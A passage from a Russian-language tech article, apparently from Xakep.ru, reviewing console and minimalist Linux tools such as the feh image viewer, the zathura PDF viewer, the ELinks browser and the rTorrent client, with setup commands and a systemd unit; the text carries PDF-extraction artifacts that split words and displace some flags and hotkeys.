«пик сель  в  пик сель»,  это  зна чит,  что  они  не будут мас шта биро ваны до  раз‐ 
меров экра на/окна. Что бы это го избе жать, мож но исполь зовать флаг  . Так‐ 
же  в  качес тве  аргу мен та  мож но  передать  URL  для  прос мотра  изоб ражения
без ска чива ния.

‐F

Feh  уме ет  отоб ражать  кон текс тное  меню,  но  управлять  им  удоб нее
с помощью кла виату ры. Наибо лее полез ные ком бинации:

 — пре дыду щее/сле дующее изоб ражение;• влево/вправо

 — изме нение мас шта ба;• вверх/вниз

 — подог нать под раз мер окна;• /

 — вклю чить/вык лючить сгла жива ние;• A

 — показать имя фай ла и номер фай ла, если их нес коль ко;• d

 — показать тег EXIF;• e

 — пол ноэк ранный режим.• v

Feh  уме ет  фор мировать  кол лажи  (фла ги  ,    и  )  и  поз воля ет  уста нав‐ 
ливать изоб ражение в качес тве обо ев рабоче го сто ла:

‐c ‐m ‐i

$ feh ‐‐bg‐scale /путь/до/файла

Feh: прос мот рщик без интерфей са

INFO

Нем ногие зна ют, но прос матри вать изоб ражения
мож но  даже  в  голой  кон соли,  без  запус ка  гра‐ 
фичес кой сре ды. Прос мот рщик   уме ет исполь‐ 
зовать  fbdev  для  вывода  кар тинки  в  кон соль
и  даже  поз воля ет  прос матри вать  изоб ражения
в ASCII art.

Fim

PDF: ZATHURA
В  2005  году  Тор  Андерсон  (Tor  Andersson)  выпус тил  биб лиоте ку  MuPDF,
которая  показы вала  прос то  пот ряса ющие  резуль таты  ско рос ти  рен дерин га
PDF‐докумен тов.  Вмес те  с  биб лиоте кой  пос тавлял ся  прос тей ший  прос мот‐ 
рщик, с помощью которо го мож но было оце нить ско рость работы биб лиоте ки
или быс тро открыть прос тень кий документ.

Се год ня MuPDF про дол жает раз вивать ся, а прос мот рщик до сих пор вхо‐ 
дит в ее сос тав. Он неверо ятно быстр и в целом удо бен, но не уме ет запоми‐ 
нать  позицию  чте ния  и  не  име ет  удоб ной  сис темы  навига ции.  Зато  все  эти
воз можнос ти  есть  в  прос мот рщи ке  ,  для  которо го  дос тупен  пла гин
MuPDF (пакет zathura‐pdf‐mupdf).

Zathura

Zathura — истинно гиков ское при ложе ние, внеш не прос тое, но с боль шим
арсе налом  фун кций.  Интерфей са  здесь  как  таково го  нет,  точ нее,  он  есть,
но напоми нает интерфейс редак тора Vim — панель сос тояния вни зу экра на,
плюс стро ка команд, вызыва емая по нажатию  . Управле ние пол ностью кла‐ 
виатур ное с хот кеями в сти ле того же Vim: кла виши   или стрел ки
для  навига ции  по  докумен ту,    и    для  перек лючения  меж ду  стра ница ми, 
и  , что бы вмес тить стра ницу в окно по высоте или ширине,   вклю чает режим
отоб ражения  стра ниц  в  виде  раз ворота,    откры вает  оглавле ние.  Что бы
уви деть под сказ ку по коман дам, дос таточ но открыть стро ку команд и нажать

.

:
h, j, k, l

J K a
s d

Tab

Tab
Кро ме PDF, zathura под держи вает фор маты DjVu, PostScript и ComicBook,

но для их прос мотра необ ходимо уста новить допол нитель ные пла гины:
zathura‐djvu;•
zathura‐ps;•
zathura‐cb.•

Zathura и меню авто допол нения

БРАУЗЕР: ELINKS
Дер жу пари, что ELinks — один из самых стран ных бра узе ров из всех, что ты
ког да‐либо  видел.  И  дело  вов се  не  в  его  фун кци ональ нос ти,  а  в  том,  что
это  кон соль ный бра узер,  который не  уме ет отоб ражать  кар тинки,  но,  как  ни
стран но,  под держи вает  веб‐фор мы,  CSS,  кукисы,  JavaScript,  вклад ки,  IPv6,
парал лель ную заг рузку фай лов и скрип тование. Сай ты в нем выг лядят поч ти
неюза бель но,  а  о  веб‐при ложе ниях  мож но  забыть,  зато  он  заг ружа ет
веб‐стра ницу быс трее, чем ты ска жешь сло во «заг рузить».

ELinks не пов седнев ный бра узер, но это отличное средс тво для быс тро го
откры тия  докумен тов  или  про вер ки  сай тов  на  дос тупность.  Так же
это  отличный  бра узер  для  кон фиден циаль ного  сер финга  Сети:  мно гие
методы тре кин га в нем прос то не работа ют, а та же под дер жка JS это му бра‐ 
узе ру не осо бо и нуж на (читай: ее мож но сме ло отклю чить).

У ELinks есть пра роди тель под наз вани ем Links. Это менее фун кци ональ‐ 
ный  бра узер  с  одной  очень  инте рес ной  осо бен ностью:  он  уме ет  работать
в  гра фичес ком  режиме,  исполь зуя  при  этом  тот  же  дви жок,  что  и  для  рен‐ 
дерин га в тер минале. В резуль тате бра узер отри совы вает стра ницу быс трее,
чем любой дру гой гра фичес кий бра узер на пла нете. К тому же может делать
это  в  голой  кон соли  (да,  гра фичес кий  режим  в  голой  кон соли  с  исполь‐ 
зовани ем того же fbdev, что и Fim).

Xakep.ru в бра узе ре ELinks

ТОРРЕНТЫ: RTORRENT
 — один из самых быс трых тор рент‐кли ентов. При получе нии и отда че

дан ных  rTorrent  не  записы вает/чита ет  фай лы  обыч ными  метода ми,  как  это
дела ют дру гие кли енты, а отоб ража ет файл в опе ратив ную память с помощью
mmap()  и  нап рямую  копиру ет  дан ные  из  памяти  сетево го  сте ка  в  «память
фай ла». На быс трых соеди нени ях такой механизм поз воля ет дос тичь нам ного
боль шей про изво дитель нос ти работы при ложе ния.

rTorrent

Од нако извес тность rTorrent получил по дру гой при чине — это прак тичес ки
иде аль ный вари ант для домаш него сер вера. Мож но запус тить кли ент внут ри
screen или tmux и под клю чать ся к нему по SSH вмес то исполь зования гро моз‐ 
дких веб‐интерфей сов.

Как  и  любое  кон соль ное  при ложе ние,  rTorrent  не  име ет  никаких  средств
кон фигури рова ния, и для его нас трой ки необ ходимо пра вить файл 

. Автор пред лага ет хороший началь ный кон фиг, который мож но ска‐ 
чать с помощью такой коман ды:

~/.rtor‐
rent.rc

$ curl ‐Ls "https://raw.githubusercontent.com/wiki/rakshasa/rtorrent/
CONFIG‐Template.md" | grep ‐A9999 '^######' | grep ‐B9999 '^### END' 
| sed ‐re "s:/home/USERNAME:$HOME:" >~/.rtorrent.rc

Стан дар тный  каталог  rTorrent  —  .  В  нем  есть  два  под катало га:
  и  ,  во  вто рой  кли ент  сли вает  свои  логи,  пер вый  слу жит  для  авто‐ 

добав ления  тор рентов. Прос то  ско пируй  torrent‐файл  в 
,  и он авто мати чес ки попадет  в оче редь. Копиро вание в 

 заг рузит тор рент в кли ент, но не добавит в оче редь ска чива ния.
Каталог заг рузки фай лов:  .

~/rtorrent
watch log

~/rtorrent/watch/
start ~/rtorrent/
watch/load

~/rtorrent/download
rTorrent не уме ет работать в режиме демона (то есть его нель зя запус тить

в фоне), зато, как я уже говорил, его мож но запус тить под управле нием tmux,
а сам tmux отпра вить в фон. Что бы это про исхо дило авто мати чес ки на эта пе
заг рузки,  уста нови  tmux  и  соз дай  файл 

:
/etc/systemd/system/rtorrent.

service

[Unit]
Description=rTorrent Daemon
After=network.target
[Service]
Type=forking
KillMode=none
User=rtorrent
ExecStart=/usr/bin/tmux new‐session ‐c /mnt/storage/rtorrent ‐s 
rtorrent ‐n rtorrent ‐d rtorrent
ExecStop=/usr/bin/bash ‐c "/usr/bin/tmux send‐keys ‐t rtorrent C‐q &
& while pidof rtorrent > /dev/null; do sleep 0.5; done"
WorkingDirectory=%h
Restart=on‐failure
[Install]
WantedBy=multi‐user.target

Это  опи сание юни та  systemd,  запус кающе го  rTorrent  внут ри  tmux.  Акти вируй
его:

$ systemctl ‐‐user enable rtorrent

И запус ти:

$ systemctl ‐‐user start rtorrent

Те перь  к  rTorrent  мож но  под клю чить ся  в  любое  вре мя  с  помощью  такой
коман ды:

$ tmux attach ‐t rt

Для отклю чения наж ми  .Ctrl‐b d

Ин форма ция о тор ренте в rTorrent

Бонус: инс тру мен ты в сти ле CLI
Кро ме  псев догра фичес ких  пол ноэк ранных  при ложе ний,  конеч но  же,  есть
мно жес тво  раз личных  инс тру мен тов  с  интерфей сом  коман дной  стро ки.
О мно гих из них я уже рас ска зывал в прош лых стать ях, поэто му сегод ня оста‐ 
нов люсь толь ко на четырех:

 —  мощ ный  инс тру мент  для  ска чива ния  и  прос мотра  YouTube‐
видео с помощью MPlayer/mpv;

• youtube‐dl

  —  кон соль ный  кли ент  Telegram,  прак тичес ки  бес полезен
для каж доднев ного исполь зования, но может при годить ся в скрип тах;

• telegram‐cli

 — удоб ная ути лита для поис ка в Google из коман дной стро ки;• googler
  —  ути лита  для  дам па  докумен тов  фор мата  .doc  (несов мести ма

с .docx).
• catdoc
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